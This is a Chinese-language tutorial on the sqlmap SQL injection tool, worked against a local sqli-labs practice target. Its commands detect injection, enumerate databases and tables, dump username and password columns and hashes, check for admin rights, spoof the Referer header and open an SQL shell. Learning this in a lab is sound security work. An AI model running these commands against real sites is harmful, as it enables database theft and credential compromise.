各个命令的用法
-h,--help ???Show basic help message and exit(显示基本帮助消息并退出)
-hh ???????Show advanced help message and exit(显示高级帮助信息并退出)
--version ???Show program's version number and exit(显示程序的版本号并退出)
?-u URL, --url=URL ??Target URL (e.g. "http://www.site.com/vuln.php?id=1")(目标URL)
Sqlmap的用法(如果是get型注入可以直接输入url进行操作,如果是post注入的则需要用burp抓包将抓包的内容放在.txt文档里面用文档进行查询)
1.判断是否存在注入
python sqlmap.py -u http://127.0.0.3/Less-1/?id=1
也可以加入--batch
python sqlmap.py -u http://127.0.0.3/Less-1/?id=1?--batch
直接跳过是否的选择
python sqlmap.py -u “http://127.0.0.3/Less-1/?id=1&id=2”?--batch
如果存在多个参数时要加双引号
如果存在注入type里面会显示注入类型
2.用.txt文件判断是否存在注入
python sqlmap.py -r C:\Users\gaoli\Desktop\2.txt
-p 可以去指定检测的参数
查看当前用户下存在的所有数据库(--dbs)
sqlmap.py -r C:\Users\gaoli\Desktop\2.txt --dbs
获取当前数据库(--current-db)
sqlmap.py -r C:\Users\gaoli\Desktop\2.txt --current-db
获取数据库中的表名(-D security(表示当前数据库名) --tables 这里是因为查到了当前数据库是security)
sqlmap.py -r C:\Users\gaoli\Desktop\2.txt -D security --tables
获取当前数据库表中的字段(–D security ?–T users --columns)
sqlmap.py -r C:\Users\gaoli\Desktop\2.txt -D security -T users --columns
获取字段的内容(-D security -T users -C id,usernmae,password --dump)
sqlmap.py -r C:\Users\gaoli\Desktop\2.txt -D security -T users -C id,usernmae,password --dump
-D ????database ?????数据库名 ????--dbs 查询数据库
-T ????table ????????表名 ?????????-D 数据库名 --tables
-C ????column ??????字段名 ???????-D 数据库名 -T 表名 --columns
查询字段里面的内容 ???-D 数据库名 -T 表名 -C 字段名(username,password,id) --dump
获取数据库中所有的用户(--users)
sqlmap.py -r C:\Users\gaoli\Desktop\2.txt --users
获取用户的密码(--passwords)
sqlmap>sqlmap.py -r C:\Users\gaoli\Desktop\2.txt --passwords
这里的用户密码是加密了的可以用CMD5进行解密
--level 5:探测用户等级
参数 –level 5指需要执行的测试等级,一共有5个等级(1-5),可以不用加level,默认是1.sqlmap使用payload可以在xml/payloads.xml中看到,也可以根据相应的格式添加自己的payload,其中5级包含的payload最多,会自动破解出cookie、新方法、等头部注入。当然,level 5的运行速度也比较慢。
这个参数会影响测试的注入点,get和post的数据都会进行测试,http cookie在level为2的时候就会测试,http user-agent/referer头在level为3的时候就会测试。总之,在不确定哪个payload或者参数为诸如点时,为了保证全面性,建议使用高的level值。
查看当前用户是否为管理权限(--is-dba)
sqlmap.py -r C:\Users\gaoli\Desktop\2.txt --is-dba
显示true表示当前用户是管理权限,显示false则表示当前用户没有管理权限
sqlmap可以在请求中伪造http中的referer,当level参数设定在3及3以上时,会尝试对referer头注入。可以使用referer命令来欺骗(--referer 百度一下,你就知道?)
sqlmap.py -r C:\Users\gaoli\Desktop\2.txt --referer http://www.baidu.com
用来欺骗是百度在执行
运行自定义sql语句(--sql-shell)
sqlmap.py -r C:\Users\gaoli\Desktop\2.txt --sql-shell
sql-shell>?如果出现这个则证明已经执行成功